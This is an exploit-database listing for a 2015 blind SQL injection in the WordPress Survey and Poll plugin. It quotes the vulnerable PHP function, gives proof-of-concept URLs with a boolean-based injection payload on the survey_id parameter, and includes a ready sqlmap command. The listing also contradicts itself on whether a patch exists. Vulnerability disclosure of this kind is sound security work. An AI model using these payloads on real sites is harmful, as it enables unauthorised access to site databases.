header-logo
Suggest Exploit
vendor:
WordPress Survey and Poll
by:
Securely (Yoo Hee man)
7.5
CVSS
HIGH
Blind SQL Injection
89
CWE
Product Name: WordPress Survey and Poll
Affected Version From: 1.1
Affected Version To: 1.1.2007
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:wordpress_survey_and_poll
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP
2015

WordPress Survey and poll Blind SQL Injection

The WordPress Survey and Poll plugin is vulnerable to Blind SQL Injection due to the lack of sanitization of the 'survey_id' variable in the ajax_survey() function in the settings.php file. This allows an attacker to inject malicious SQL code into the application and execute it on the underlying database.

Mitigation:

Sanitize user input and use prepared statements to prevent SQL injection.
Source

Exploit-DB raw data:

#################################################################
# Exploit Title : Wordpress Survey and poll Blind SQL Injection

# Data : 2015 – 02 - 11

# Exploit Author : Securely (Yoo Hee man)

# Plugin : WordPress Survey and Poll

# Vender Homepage : http://modalsurvey.sympies.com

# Tested On : Windows XP / sqlmap_v1.0

# Software Link : https://downloads.wordpress.org/plugin/wp-survey-and-poll.1.1.zip
                  https://downlaods.wordpress.org/plugin/wp-survey-and-poll.zip (latest version v.1.1.7 By February 11, 2015 based on)

1. Detail 
- This Plugin is passes ajax_survey function as [admin-ajax.php] a form of action and processes them in the /wp-survey-and-poll/settings.php
- Settings.php file is no login cookie check
- "survey_id" variable is not sanitized


#################################################################
public function ajax_survey()
    {
		global $wpdb;
		$survey_id = "";
		$survey_name = "";
		$survey_start_time = "";
		$survey_expiry_time = "";
		$survey_global = "";
		if (isset($_REQUEST['survey_id'])) $survey_id = sanitize_text_field($_REQUEST['survey_id']);
		else $survey_id = "";
		if (isset($_REQUEST['survey_name'])) sanitize_text_field($survey_name = $_REQUEST['survey_name']);
		else $survey_name = "";
		if (isset($_REQUEST['start_time'])&&(!empty($_REQUEST['start_time']))) $survey_start_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['start_time']));
		else $survey_start_time = "";
		if (isset($_REQUEST['expiry_time'])&&(!empty($_REQUEST['expiry_time']))) $survey_expiry_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['expiry_time']));
		else $survey_expiry_time = "";
		if (isset($_REQUEST['global_use'])) $survey_global = sanitize_text_field($_REQUEST['global_use']);
		else $survey_global = "";
		if (isset($_REQUEST['options'])) $survey_options = sanitize_text_field($_REQUEST['options']);
		else $survey_options = "";
		if (isset($_REQUEST['qa'])) $survey_qa = sanitize_text_field($_REQUEST['qa']);
		else $survey_qa = "";
		$survey_check = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->prefix."wp_sap_surveys WHERE `id` = ".$survey_id);
		if ($_REQUEST['sspcmd']=="save")
		{
		if ($survey_check>0) {
		//update survey
			$wpdb->update( $wpdb->prefix."wp_sap_surveys", array( "options" => $survey_options, "start_time" => $survey_start_time, 'expiry_time' => $survey_expiry_time, 'global' => $survey_global),array('id' => $survey_id));
			$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_questions WHERE `survey_id` = %d",$survey_id));
			$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_answers WHERE `survey_id` = %d",$survey_id));
				$qa_object = (array)json_decode(stripslashes($survey_qa));
				$qa_array = (array)$qa_object;
				foreach($qa_array as $keyq=>$qr)
				{
					foreach($qr as $key=>$oa)
					{
						if ($key==0)
						{
						$wpdb->insert( $wpdb->prefix."wp_sap_questions", array( 
							'id' => ($keyq+1), 
							'survey_id' => $survey_id, 
							'question' => $oa
							) );
							$qid = $wpdb->insert_id;
						}
						else
						{
						$oans = explode("->",$oa);
						$wpdb->insert( $wpdb->prefix."wp_sap_answers", array( 
							'survey_id' => $survey_id, 
							'question_id' => ($keyq+1),
							'answer' => $oans[0],
							'count' => $oans[1],
							'autoid' => $key
							) );					
						}
					
					}
				}
			die("updated");
		}
		else {
		//insert survey
			$wpdb->insert( $wpdb->prefix."wp_sap_surveys", array( 
				'id' => $survey_id, 
				'name' => $survey_name, 
				'options' => $survey_options, 
				'start_time' => $survey_start_time,
				'expiry_time'=> $survey_expiry_time,
				'global'=> $survey_global
				) );
				$qa_object = (array)json_decode(stripslashes($survey_qa));
				$qa_array = (array)$qa_object;
				foreach($qa_array as $keyq=>$qr)
				{
					foreach($qr as $key=>$oa)
					{
						if ($key==0)
						{
						$wpdb->insert( $wpdb->prefix."wp_sap_questions", array( 
							'id' => ($keyq+1), 
							'survey_id' => $survey_id, 
							'question' => $oa
							) );
							$qid = $wpdb->insert_id;
						}
						else
						{
						$oans = explode("->",$oa);
						$wpdb->insert( $wpdb->prefix."wp_sap_answers", array( 
							'survey_id' => $survey_id, 
							'question_id' => ($keyq+1),
							'answer' => $oans[0],
							'autoid' => $key
							) );					
						}
					
					}
				}
			die('success');
		}
################################################################

2. POC
- http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi]
- DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]

3. Sqlmap
- sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql


3. Solution:
Not patched

4. Discovered By : Securely(Yoo Hee man)
                   god2zuzu@naver.com